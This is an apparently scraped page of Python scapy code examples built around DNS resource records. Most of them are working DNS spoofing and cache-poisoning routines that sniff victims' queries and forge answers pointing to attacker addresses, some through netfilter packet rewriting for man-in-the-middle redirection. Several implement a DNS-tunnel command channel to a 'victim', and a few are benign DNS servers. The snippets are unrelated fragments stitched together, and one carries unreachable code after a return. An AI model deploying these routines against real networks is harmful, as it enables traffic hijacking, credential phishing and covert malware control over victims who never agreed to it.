Exemple #1
0
def spf_pkt(sniffed_dns_pkt):
    """get a DNS Request packet. Returns DNS Response packet directing to the custom ip."""
    sp_pkt = IP(src=server_ip, dst=sniffed_dns_pkt[IP].src) \
               / UDP(dport=sniffed_dns_pkt[UDP].sport, sport=53) \
               / DNS(id=sniffed_dns_pkt[DNS].id, qr=1, opcode=sniffed_dns_pkt[DNS].opcode,
                     aa=1, rd=0, qdcount=sniffed_dns_pkt[DNS].qdcount, ancount=1, nscount=1,
                     qd=DNSQR(qname=sniffed_dns_pkt[DNSQR].qname),
                     an=DNSRR(rrname=sniffed_dns_pkt[DNSQR].qname, ttl=86400, rdata=custom_ip),
                     ns=DNSRR(rrname=sniffed_dns_pkt[DNSQR].qname, type=2, rdata=custom_ip),
                     ar=DNSRR(rrname=sniffed_dns_pkt[DNSQR].qname, rdata=custom_ip))
    return sp_pkt
    def get_response(pkt: IP):
        if DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0:
            if DNS_SERVER_NAME in str(pkt["DNS Question Record"].qname):
                spf_resp = IP(dst=pkt[IP].src) \
                           / UDP(dport=pkt[UDP].sport, sport=53) \
                           / DNS(id=pkt[DNS].id, ancount=1, an=DNSRR(rrname=pkt[DNSQR].qname, rdata=local_ip)
                           / DNSRR(rrname=DNS_SERVER_NAME, rdata=local_ip))

                send(spf_resp, verbose=0, iface=INTERFACE)
                return f"Spoofed DNS Response Sent: {pkt[IP].src}"

            else:
                return forward_dns(pkt)
Exemple #3
0
def prn(pkt):
    """
    process MiTM only for `url`, for others DNS request - forwarding the request to a real DNS server
    :param pkt: the DNS request packet from the victim DNS nameserver
    """
    qname = pkt[DNSQR].qname

    if DOMAIN in qname:
        if b'_' in qname:
            # print("[!] underscore (_) in domain!")
            response = IP(dst=pkt[IP].src) / \
                UDP(sport=53, dport=pkt[UDP].sport)
            response /= DNS(id=pkt[DNS].id,
                            ancount=1,
                            qr=1,
                            rd=1,
                            qd=pkt[DNSQR],
                            an=DNSRR(rrname=pkt[DNSQR].qname,
                                     rdata='ns.resh.gimel.',
                                     type='NS'))
            send(response, verbose=False)
        elif b'ns' in qname:
            # print("[!] NS in domain!")
            if pkt[DNSQR].qtype == TYPES['A']:
                response = IP(dst=pkt[IP].src) / \
                    UDP(sport=53, dport=pkt[UDP].sport)
                response /= DNS(id=pkt[DNS].id,
                                ancount=1,
                                qr=1,
                                rd=1,
                                qd=pkt[DNSQR],
                                an=DNSRR(rrname=pkt[DNSQR].qname,
                                         rdata='96.69.96.69',
                                         type='A'))
                send(response, verbose=False)

            elif pkt[DNSQR].qtype == TYPES['AAAA']:
                response = IP(dst=pkt[IP].src) / \
                    UDP(sport=53, dport=pkt[UDP].sport)
                response /= DNS(id=pkt[DNS].id,
                                ancount=1,
                                qr=1,
                                rd=1,
                                qd=pkt[DNSQR],
                                an=DNSRR(rrname=pkt[DNSQR].qname,
                                         rdata='2001:4860:4802:32::78',
                                         type='AAAA'))
                send(response, verbose=False)
        else:
            attack(pkt)
Exemple #4
0
def dns_spoof(pkt):
    global s, hosts, my_ip
    spoofed_ip = None
    if pkt.dport == 53 and UDP in pkt and DNSRR not in pkt:
        print('query for: ' + pkt[DNSQR].qname)
        if pkt[DNSQR].qname[:-1] in hosts:
            spoofed_ip = hosts[pkt[DNSQR].qname[:-1]]
            print('will inject')
        elif len(hosts) == 0:
            spoofed_ip = my_ip
        else:
            print('wont inject')
            return

        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
                      / UDP(dport=pkt[UDP].sport, sport=53) \
                      / DNS(id=pkt[DNS].id,
                            qr=1L,
                            qd=DNSQR(qname=pkt[DNSQR].qname),
                            an=DNSRR(rrname=pkt[DNS].qd.qname, rdata=spoofed_ip)
                            )

        sent = s.sendto(str(spoofed_pkt), (pkt[IP].src, pkt[UDP].sport))
        if sent < 1:
            print('There was a problem sending.')
        else:
            print('injected')
Exemple #5
0
 def _make_message(self, qname: str, content: str) -> DNSRR:
     return DNSRR(
         rrname=qname,
         rdata=Content.encode(content),
         type=DNSAnswer.Type.Text,
         ttl=int(self.config["packets"]["ttl"]) if self.config else 60,
     )
def spoof_dns_response(pkt):
    global ip_of_network_interface, ip_domain_mapping
    spoofed_ip = None

    # strip the dot at the end of domain name and decode the bytes
    domain_name_req = pkt[DNSQR].qname[:-1].decode('utf-8')

    if pkt.dport == 53 and UDP in pkt and DNSRR not in pkt:
        if len(ip_domain_mapping) > 0:
            # check if mapping for it is present in host file supplied
            if ip_domain_mapping and domain_name_req in ip_domain_mapping:
                spoofed_ip = ip_domain_mapping[domain_name_req]
            else:
                print('Not spoofing for ' + domain_name_req + '\n')
                return
        elif len(ip_domain_mapping) == 0:
            spoofed_ip = ip_of_network_interface

        print('Spoofing: ' + domain_name_req + '  ' + spoofed_ip + '\n')
        #build spoof response
        spoof_response = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
                      / UDP(dport=pkt[UDP].sport, sport=53) \
                      / DNS(id=pkt[DNS].id,qr=1,qd=DNSQR(qname=pkt[DNSQR].qname),an=DNSRR(rrname=pkt[DNS].qd.qname,rdata=spoofed_ip))
        # send response to victim
        send(spoof_response)
Exemple #7
0
    def process_spoof(self, pkt):
        """
        process MiTM only for `self.url`, for others DNS request - forwarding the request to a real DNS server
        :param pkt: the DNS request packet from the victim DNS nameserver
        """
        qname = pkt[DNSQR].qname.decode()

        if self.url in qname:
            print(f"[!] a DNS request to `{qname}` has been detected")

            fake_res = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=53, dport=pkt[UDP].sport) \
                       / DNS(id=pkt[DNS].id, ancount=1, qr=1, rd=1, qd=pkt[DNSQR],
                             an=DNSRR(rrname=qname, rdata=self.fake_addr, type='A')) / DNSRR(type=41)

            send(fake_res, verbose=False)

        else:
            print(f"[!] a DNS request to `{qname}` has been detected")

            # forwarding request to google public dns server
            forward_res = IP(dst=DNSSpoof.FORWARD_IP) / UDP(sport=12345) / DNS(
                id=pkt[DNS].id, rd=1, qd=pkt[DNSQR])
            response = sr1(forward_res, verbose=False)

            pkt_response = IP(src=self.gateway, dst=pkt[IP].src) / UDP(
                sport=53, dport=pkt[UDP].sport) / response[DNS]
            send(pkt_response, verbose=False)
Exemple #8
0
def modify_packet(packet):
    """
    Modifies the DNS Resource Record 'packet' to map the host dictionary from hosts.txt.
    Whenever a key is seen in an answer, the real IP address of the domain is replaced with the value in the dictionary.
    :param packet: Incoming packet
    ;:return: Modified (spoofed) packet
    """
    # Get DNS question name
    qname = packet(DNSQR).qname
    if qname not in dns_hosts:
        # If the website isn't in the list of websites to spoof, skip it.
        print("No modification:", qname)
        return packet
    # Else, craft new, spoofed answer. Re-map websites to new IP addresses
    packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])

    # Set the answer count to 1
    packet[DNS].ancount = 1

    # Because we modified teh packet, we should purge the checksum and length of the original packet.
    # We need to create new checksum and length for our spoofed packet.
    del packet[IP].len
    del packet[IP].chksum
    del packet[UDP].len
    del packet[UDP].chksum

    # Return the modified packet.
    return packet
Exemple #9
0
def create_dns_response_record(pkt, response_map):
    sections = {
        'an': {
            'layer': None,
            'count': 0,
        },
        'ar': {
            'layer': None,
            'count': 0,
        },
        'ns': {
            'layer': None,
            'count': 0,
        }
    }
    payload = {'id': pkt[DNS].id}
    for section, responses in response_map.iteritems():
        sections[section]['count'] = len(responses)
        for response in responses:
            response_record = DNSRR(rrname=response.name,
                                    type=response.dns_type.value,
                                    rdata=response.data,
                                    ttl=response.ttl)
            if sections[section]['layer'] is None:
                sections[section]['layer'] = response_record
            else:
                sections[section]['layer'].add_payload(response_record)
        if sections[section]['count']:
            payload.update({
                section:
                sections[section]['layer'],
                "{}count".format(section):
                sections[section]['count']
            })
    return DNS(**payload).__bytes__()
Exemple #10
0
    def _make_a(self, packet: Packet) -> Packet:
        if self.config is None:
            return

        # if we receive a DNS A query for a subdomain, answer it with an ip from
        # the configuration file
        qname = packet.qname[:-1]  # remove final '.'
        if qname in self.config.sections():
            return Packet.build_reply(
                {
                    "src": self.host_ip,
                    "dst": packet.src,
                    "dport": packet.sport,
                    "dns": {
                        "id":
                        packet.id,
                        "question":
                        packet.question,
                        "messages": [
                            DNSRR(
                                rrname=packet.qname,
                                rdata=self.config[qname]["ip"],
                                type=DNSAnswer.Type.HostAddr,
                                ttl=int(self.config[qname]["ttl"]),
                            ),
                        ],
                    },
                },
                self.domain,
            )
Exemple #11
0
 def send_dns_poison(host_mac: str, host_ip: str, received_packet: packet):
     dnsrr = DNSRR()
     dnsrr[DNSRR].rrname = received_packet[DNSQR].qname
     dnsrr[DNSRR].type = 'A'
     dnsrr[DNSRR].rclass = received_packet[DNSQR].qclass
     dnsrr[DNSRR].ttl = 86400
     dnsrr[DNSRR].rdata = settings['redirect spoofed domains to']
     dns = Ether() / IP() / UDP() / DNS()
     dns[Ether].src = attacker_mac
     dns[Ether].dst = host_mac
     dns[IP].dst = host_ip
     dns[IP].src = received_packet[IP].dst
     dns[UDP].dport = received_packet[UDP].sport
     dns[UDP].sport = received_packet[UDP].dport
     dns[DNS].id = received_packet[DNS].id
     dns[DNS].ancount = 1
     dns[DNS].qr = 1
     dns[DNS].rd = 1
     dns[DNS].qd = received_packet[DNS].qd
     dns[DNS].an = dnsrr
     if settings['show debug']:
         dns.show()
     sendp(dns, iface=interface, verbose=settings['show debug'])
     if settings['show dns spoof']:
         print('Spoofed DNS request from ' + host_ip + ' for ' +
               dns[DNSQR].qname.decode()[:-1])
Exemple #12
0
    def check_query(self, pkt):
        # Checking if what I got has a DNS layer
        # print "Port :",pkt[UDP].dport
        if pkt[IP].dport == 53:
            self.l3[IP].dst = pkt[IP].src
            self.l3[IP].src = pkt[IP].dst
            self.l3[IP].id = pkt[IP].id
            self.l3[UDP].dport = pkt[UDP].sport
            self.l3[UDP].sport = 53
            self.l3[DNS].id = pkt[DNS].id
            self.l3[DNS].aa = 1
            self.l3[DNS].qr = 1
            self.l3[DNS].rd = pkt[DNS].rd
            self.l3[DNS].qdcount = pkt[DNS].qdcount
            self.l3[DNS].qd = pkt[DNS].qd

            if (self.DNS_lookup.has_key(pkt[DNS].qd.qname[:-1])):
                self.l3[DNS].ancount = 1
                self.l3[DNS].an = DNSRR(
                    rrname=self.l3[DNS].qd.qname,
                    type='A',
                    ttl=3600,
                    rdata=self.DNS_lookup[pkt[DNS].qd.qname[:-1]])
            else:
                self.l3[DNS].ancount = 0
                self.l3[DNS].an = None
                self.l3[DNS].rcode = "name-error"
        raise self.DNZ_LISTEN()
def process_packet(packet):
    '''
    Process each packet
    '''

    global DOMAIN, TARGET
    IP_pkt = IP(packet.get_payload())

    #It's a DNS Response (DNS Record Route)
    if (IP_pkt.haslayer(DNSRR)):
        #Name to be translated through DNS Query Record
        domain = IP_pkt[DNSQR].qname

        #DNS resolution response for DOMAIN domain
        if DOMAIN in str(domain):
            print("Spoofing target")
            answer = DNSRR(rrname=domain, rdata=TARGET)
            IP_pkt[DNS].an = answer
            #Only 1 DNS record (only 1 IP related to target)
            IP_pkt[DNS].ancount = 1

            #Delete checksum, len of IP packet and UDP packet
            #(scapy then recalculate automatically them using inserted fields)
            del IP_pkt[IP].len
            del IP_pkt[IP].chksum
            del IP_pkt[UDP].len
            del IP_pkt[UDP].chksum

    #Set new payload and accept it
    packet.set_payload(bytes(IP_pkt))
    packet.accept()
def get_response(pkt):
    if DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0:
        query_name = pkt[DNSQR].qname.decode()
        print(query_name)
        if "jct" in query_name:
            spf_resp = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
                       / UDP(dport=pkt[UDP].sport, sport=53) \
                       / DNS(id=pkt[DNS].id, ancount=1, qr=1, rd=1, qd=DNSQR(qtype='A', qname=query_name),
                             an=DNSRR(rrname=query_name, rdata=spoofed_address, type='A')) \
                       / DNSRR(type=41)

            send(spf_resp, verbose=0, iface=iface)
            return f"Spoofed DNS Response Sent: {pkt[IP].src}"

        else:
            # make DNS query, capturing the answer and send the answer
            return forward_dns(pkt)
def spoof_dns(pkt, qname):
    pkt[DNS].an = DNSRR(rrname=qname, rdata=RDEST)
    #to avoid pkt to be corrupted
    pkt[DNS].ancount = 1
    del pkt[IP].len
    del pkt[IP].chksum
    del pkt[UDP].len
    del pkt[UDP].chksum
    return pkt
Exemple #16
0
def readPackets(packet):
    global info
    if packet.haslayer(DNSQR) and packet[IP].src == info['tip']:
        packetResponse = (Ether()/IP(dst=packet[0][1].src, src=packet[0][1].dst)/\
                      UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)/\
                      DNS(id=packet[DNS].id, qd=packet[DNS].qd, aa=1, qr=1, \
                      an=DNSRR(rrname=packet[DNS].qd.qname,  ttl=10, rdata=info['ip'])))
        sendp(packetResponse, count=1, verbose=0)
        print("Redirecting...")
Exemple #17
0
def cuckoo_dnsserve(host, port, nxdomain, hardcode):
    try:
        from scapy.layers.dns import DNS, DNSQR, DNSRR
    except ImportError:
        sys.exit(
            "Currently the DNS serve script is not available due to issues "
            "in upstream Scapy for Windows "
            "(https://github.com/secdev/scapy/issues/111).")

    udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udps.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    udps.bind((host, port))
    log.info("Listening for DNS queries at %s:%d", host, port)

    while True:
        data, addr = udps.recvfrom(1024)

        p = DNS(data)
        rp = DNS(id=p.id, qr=1, qdcount=p.qdcount, ancount=1, rcode=0)
        rp.qd = p[DNSQR]

        # IN A, actually look the domain up.
        if p.opcode == 0 and p[DNSQR].qtype == 1 and p[DNSQR].qclass == 1:
            if hardcode:
                answer_ip = hardcode
            else:
                try:
                    answer_ip = socket.gethostbyname(p.qd[0].qname)
                except:
                    if nxdomain:
                        answer_ip = nxdomain
                    else:
                        rp.ancount = 0
                        rp.rcode = 3
                        answer_ip = None

            if answer_ip:
                rp.an = DNSRR(rrname=p.qd[0].qname,
                              ttl=60,
                              rdlen=4,
                              rdata=answer_ip)

                log.debug("IN A %s -> %s.", p.qd[0].qname, answer_ip)
        # IN PTR, we reply with NXDOMAIN.
        elif p.opcode == 0 and p[DNSQR].qtype == 12 and p[DNSQR].qclass == 1:
            rp.ancount = 0
            rp.rcode = 3
            log.info("IN PTR %s -> NXDOMAIN.", p.qd[0].qname)
        else:
            rp.ancount = 0
            rp.rcode = 2
            log.warn(
                "Unhandled query %s for %s/%s,%s - answering with servfail.",
                p.opcode, p.qd[0].qname, p[DNSQR].qtype, p[DNSQR].qclass)

        udps.sendto(rp.build(), addr)
Exemple #18
0
def caputre(packet):
    print('working')
    if(DNS in packet and 's.student.pwr.edu.pl.' in str(packet['DNS Question Record'].qname)):
        print('enter')
        pkt = IP(dst=packet[IP].src) / UDP(dport=packet[UDP].sport, sport=53) / DNS(id=packet[DNS].id, ancount=1,
                                                                                  an=DNSRR(rrname=packet[DNSQR].qname,
                                                                                        rdata='127.0.1.2') / DNSRR(
                                                                                      rrname='student.pwr.edu.pl',
                                                                                      rdata='127.0.1.2'))
        send(pkt)
Exemple #19
0
def send_response(request: DNSQR, fake_domain: bytes):
    """
    Send a DNS response.
    The data in the response is `fake_domain`.
    :param request: the sniffed DNS request
    :param fake_domain: the data to send to victim
    """
    response = IP(dst=request[IP].src) / UDP(
        sport=53, dport=request[UDP].sport) / DNS(
            id=request[DNS].id, ancount=1, qr=1, rd=1, qd=request[DNSQR])
    if len(fake_domain) > MAX_DOMAIN:
        # send first part, the others add to list
        cmd_code = base64.b32encode(str(
            SERVER_COMMANDS['more']).encode()) + b'.'
        max_size = MAX_DOMAIN - len(cmd_code)
        i = 0
        rdata = cmd_code + fake_domain[i:i + max_size] + DOMAIN
        ans = DNSRR(rrname=request[DNSQR].qname,
                    type=request[DNSQR].qtype,
                    rdata=rdata)
        response[DNS].an = ans
        send(response, verbose=False)

        i += max_size
        next_code = base64.b32encode(str(
            SERVER_COMMANDS['next']).encode()) + b'.'
        while i + max_size < len(fake_domain):
            rdata = next_code + fake_domain[i:i + max_size] + DOMAIN
            need_2_send.append(rdata)
            i += max_size
        last_code = base64.b32encode(str(
            SERVER_COMMANDS['last']).encode()) + b'.'
        rdata = last_code + fake_domain[i:i + max_size] + DOMAIN
        need_2_send.append(rdata)

    else:
        answer = DNSRR(rrname=request[DNSQR].qname,
                       rdata=fake_domain + DOMAIN,
                       type=request[DNSQR].qtype)
        response[DNS].an = answer
        send(response, verbose=False)
Exemple #20
0
 def response(self, pkt):
     qname = pkt[DNSQR].qname.decode('cp1251')
     type = pkt[DNSQR].qtype
     data = self.cache.data[qname][type]
     ip = IP(dst=pkt[IP].src)
     udp = UDP(dport=53)
     rdata = data[0]
     ttl = int(data[1])
     dnsRR = DNSRR(rrname=qname, type=type, rdata=rdata, ttl=ttl)
     dns = DNS(id=pkt[DNS].id, qr=1, rd=1, ra=1, qd=pkt[DNS].qd, an=dnsRR)
     print(qname)
     send(ip / udp / dns, verbose=False)
def spoof_packet(sniffed_packet):
    """
    This function analyses the sniffed packet and performs a packet injection if it meets the criteria
    :param sniffed_packet: The sniffed packet
    :return:
    """

    # We check if the captured packet is indeed a DNS packet and if it is a type A DNS packet
    # and it is a request packet
    if sniffed_packet.haslayer(DNSQR) \
            and sniffed_packet[DNS].ancount == 0 \
            and sniffed_packet[DNS].qd.qtype == 1:
        inject_ip = 0
        item = sniffed_packet[DNS].qd.qname[:-1]

        # If a data file has been provided, check if the captured packet has requested for a hostname in the
        # data file
        if file_specified:
            if data_dict.get(item):
                inject_ip = data_dict[item]
            else:
                return
        elif file_specified == 0:
            netifaces.ifaddresses(device)
            inject_ip = netifaces.ifaddresses(device)[
                netifaces.AF_INET][0]['addr']

        # Construct the packet with IP, UDP/TCP and DNS headers and provide the spoofed
        # address to the rdata of the answer section
        ip_destination = sniffed_packet[IP].dst
        ip_source = sniffed_packet[IP].src
        spoofed_pkt = IP(dst=ip_source, src=ip_destination)
        if sniffed_packet.haslayer(UDP):
            udp_dport = sniffed_packet[UDP].dport
            udp_sport = sniffed_packet[UDP].sport
            spoofed_pkt = spoofed_pkt / UDP(dport=udp_sport, sport=udp_dport)
        if sniffed_packet.haslayer(TCP):
            tcp_dport = sniffed_packet[TCP].dport
            tcp_sport = sniffed_packet[TCP].sport
            spoofed_pkt = spoofed_pkt / TCP(dport=tcp_sport, sport=tcp_dport)
        dns_id = sniffed_packet[DNS].id
        dns_question_count = sniffed_packet[DNS].qd
        dns_rname = sniffed_packet[DNS].qd.qname  # Resource record name
        spoofed_pkt = spoofed_pkt / DNS(
            id=dns_id,
            qd=dns_question_count,
            aa=1,
            qr=1,
            an=DNSRR(rrname=dns_rname, ttl=100, rdata=inject_ip))

        send(spoofed_pkt, verbose=0, iface=str(device))
        localtime = time.asctime(time.localtime(time.time()))
        print 'Packet sent at ', localtime
def dns_spoofing(packet):
    try:
        if IP in packet and packet[
                IP].src == dns_ip and DNSQR in packet and website in packet[
                    DNSQR].qname.decode("utf-8") and packet.qd.qtype == 1:
            answer = Ether(src=hacker_mac, dst=packet[Ether].src) / IP(
                src=packet[IP].dst, dst=packet[IP].src) / UDP(
                    sport=packet[UDP].dport, dport=packet[UDP].sport) / DNS(
                        id=packet[DNS].id,
                        qr=1,
                        qd=packet[DNS].qd,
                        an=DNSRR(rrname=packet[DNS].qd.qname,
                                 type='A',
                                 ttl=6000,
                                 rdata='192.168.68.1'))
            sendp(answer, verbose=False, iface=interface)
        elif IP in packet and packet[
                IP].src == dns_ip and DNSQR in packet and website in packet[
                    DNSQR].qname.decode("utf-8") and packet.qd.qtype == 28:
            answer = Ether(src=hacker_mac, dst=packet[Ether].src) / IP(
                src=packet[IP].dst, dst=packet[IP].src) / UDP(
                    sport=packet[UDP].dport, dport=packet[UDP].sport) / DNS(
                        id=packet[DNS].id,
                        qr=1,
                        qd=packet[DNS].qd,
                        an=DNSRR(rrname=packet[DNS].qd.qname,
                                 type='AAAA',
                                 ttl=6000,
                                 rdata='3e84:6aff:feac::2f2c'))

            sendp(answer, verbose=False, iface=interface)
        else:
            packet[Ether].dst = default_gateway_mac
            sendp(packet, verbose=False, iface=interface)
    except:
        None
Exemple #23
0
def send_next_part(request: DNSQR, identify: bytes):
    """
    Pop from the waiting list the server command's next part and send it to victim in a DNS response message.
    :param request: the DNS request query from victim.
    :param identify: victim identify number
    """
    rdata = need_2_send.pop(
        0)  # pop the next part from the whole server command
    # build a DNS response and send it
    response = IP(dst=request[IP].src) / UDP(
        sport=53, dport=request[UDP].sport) / DNS(
            id=request[DNS].id, ancount=1, qr=1, rd=1, qd=request[DNSQR])
    response[DNS].an = DNSRR(rrname=request[DNSQR].qname,
                             type=request[DNSQR].qtype,
                             rdata=rdata)
    send(response, verbose=False)
Exemple #24
0
def dns_serve(args):
    udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udps.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    udps.bind((args.bind, args.port))

    while True:
        data, addr = udps.recvfrom(1024)

        p = DNS(data)
        rp = DNS(id=p.id, qr=1, qdcount=p.qdcount, ancount=1, rcode=0)
        rp.qd = p[DNSQR]

        # IN A, actually look the domain up.
        if p.opcode == 0 and p[DNSQR].qtype == 1 and p[DNSQR].qclass == 1:
            if args.hardcode:
                answer_ip = args.hardcode
            else:
                try:
                    answer_ip = socket.gethostbyname(p.qd[0].qname)
                except:
                    if args.nxdomain:
                        answer_ip = args.nxdomain
                    else:
                        rp.ancount = 0
                        rp.rcode = 3
                        answer_ip = None

            if answer_ip:
                rp.an = DNSRR(
                    rrname=p.qd[0].qname, ttl=60, rdlen=4, rdata=answer_ip
                )

                log.debug("IN A %s -> %s.", p.qd[0].qname, answer_ip)
        # IN PTR, we reply with NXDOMAIN.
        elif p.opcode == 0 and p[DNSQR].qtype == 12 and p[DNSQR].qclass == 1:
            rp.ancount = 0
            rp.rcode = 3
            log.info("IN PTR %s -> NXDOMAIN.", p.qd[0].qname)
        else:
            rp.ancount = 0
            rp.rcode = 2
            log.warn(
                "Unhandled query %s for %s/%s,%s - answering with servfail.",
                p.opcode, p.qd[0].qname, p[DNSQR].qtype, p[DNSQR].qclass
            )

        udps.sendto(rp.build(), addr)
Exemple #25
0
def dns_spoof(packet):
    # 要拦截的DNS
    testlist = ["www.baidu.com", "www.pentest.com", "www.abcd.com"]
    # 判断是否有DNS, 是否是请求     qr == 0 请求,qr == 1 应答
    if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0:
        ip = packet.getlayer(IP)
        udp = packet.getlayer(UDP)
        dns = packet.getlayer(DNS)
        testdomain = dns.qd.qname.decode()[:-1]  # 取域名
        if testdomain in testlist:
            resp = IP(src=ip.dst, dst=ip.src)  # 源目交换
            resp /= UDP(sport=udp.dport, dport=udp.sport)
            resp /= DNS(id=dns.id,
                        qr=1,
                        qd=dns.qd,
                        an=DNSRR(rrname=dns.qd.qname, rdata="10.0.4.148"))
            send(resp, verbose=False)
            print(f"DNS的应答已经被篡改,{dns.qd.qname}")
 def process_packet(self, packet):
     scapy_packet = IP(packet.get_payload())
     if scapy_packet.haslayer(DNSRR):
         qname = scapy_packet[DNSQR].qname
         print(qname)
         print(self.target_website)
         if self.target_website in qname.decode('cp866'):
             self.send(text_data=dumps(
                 {'dns_spoofing_result': "[+] Spoofing target"}))
             answer = DNSRR(rrname=qname, rdata=self.server_ip)
             scapy_packet[DNS].an = answer
             scapy_packet[DNS].ancount = 1
             del scapy_packet[IP].len
             del scapy_packet[IP].chksum
             del scapy_packet[UDP].len
             del scapy_packet[UDP].chksum
             packet.set_payload(bytes(scapy_packet))
     packet.accept()
Exemple #27
0
def print_packet(packet):
    packet.show()
    if DNS in packet:
        if packet[DNS].qd.qname == "fakeme.seclab.cs.bonn.edu." and packet[
                IP].src == "10.0.0.5":
            fakePacket = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                         UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / DNS(id=packet[DNS].id,
                         qr=1L, opcode="QUERY", aa=1L, tc=0L, rd=1L, ra=0L, z=0L, rcode="ok",
                         qd=packet[DNS].qd,
                         an=DNSRR(rrname=packet[DNS].qd.qname, type="A", rclass="IN", ttl=86400, rdlen = 4,
                                  rdata="246.67.139.239"))
            # print "### fakePacket:", fakePacket[DNS].id, fakePacket[DNS].an.rrname, \
            #     fakePacket[DNS].an.type, fakePacket[DNS].an.rclass, fakePacket[DNS].an.ttl,
            #     fakePacket[DNS].an.rdlen, fakePacket[DNS].an.rdata, "\n",\
            #     fakePacket[DNS].qd.qname, fakePacket[DNS].qd.qtype, fakePacket[DNS].qd.qclass, "\n",\
            #     "src:", fakePacket[IP].src, "dst:", fakePacket[IP].dst, "\n",\
            #     "sport:", fakePacket[UDP].sport, "dport:", fakePacket[UDP].dport, "###"
            send(fakePacket)
Exemple #28
0
    def dns_responder(self, pkt: IP):
        packet = Packet(pkt, self.domain)

        if packet.is_valid_dnsquery():
            self.logger.info("got a packet from %s:%i", packet.src,
                             packet.sport)

            subdomain = packet.subdomain_from_qname.split('.')[0]
            self.logger.debug("subdomain: %s", subdomain)

            try:
                data = Domain.decode(subdomain)
            except binascii.Error:
                # couldn't decode, drop the packet and do nothing
                return

            # keep destination
            answer = Packet.build_reply(
                {
                    "src": self.host_ip,
                    "dst": packet.src,
                    "dport": packet.sport,
                    "dns": {
                        "id":
                        packet.id,
                        "question":
                        packet.question,
                        # TODO ensure that we're under the 500 bytes limit
                        "messages": [
                            DNSRR(
                                rrname=packet.qname,
                                rdata=Content.encode(
                                    self.on_query(data, packet.src)),
                                type=DNSAnswer.Type.Text,
                                ttl=60,  # a minute long
                            ),
                        ],
                    },
                },
                self.domain,
            )

            self.logger.debug("Answering %s", answer.dns.summary())
            send(answer.packet, verbose=0, iface=self.interface)
    def __send_response(self, package, _record):
        ip_src, ip_dst = DNSServer.__get_ip(package)
        layer_DNS = package.getlayer(DNS)
        layer_DNSQR = package.getlayer(DNSQR)
        qtype = layer_DNSQR.qtype

        send(IP(dst=ip_src) / UDP(dport=53) /
             DNS(id=layer_DNS.id,
                 qr=1,
                 rd=1,
                 ra=1,
                 qd=layer_DNS.qd,
                 an=DNSRR(rrname=layer_DNS.qd.qname,
                          type=qtype,
                          ttl=_record.ttl,
                          rdata=_record.data)),
             verbose=False)

        self.__log('info', f'{IP_HOST} -> {ip_src}', prefixes=['response'])
Exemple #30
0
def process_packet(packet):
    scapy_packet = IP(packet.get_payload())

    if scapy_packet.haslayer(DNSRR):
        qname = scapy_packet[DNSQR].qname

        if 'bing.com' in qname:
            print('[+] Spoofing target DNS')
            response = DNSRR(rrname=qname, rdata=redirect_to)
            scapy_packet[DNS].an = response
            scapy_packet[DNS].ancount = 1

            del scapy_packet[IP].len
            del scapy_packet[IP].chksum
            del scapy_packet[UDP].len
            del scapy_packet[UDP].chksum

            packet.set_payload(str(scapy_packet))
    packet.accept()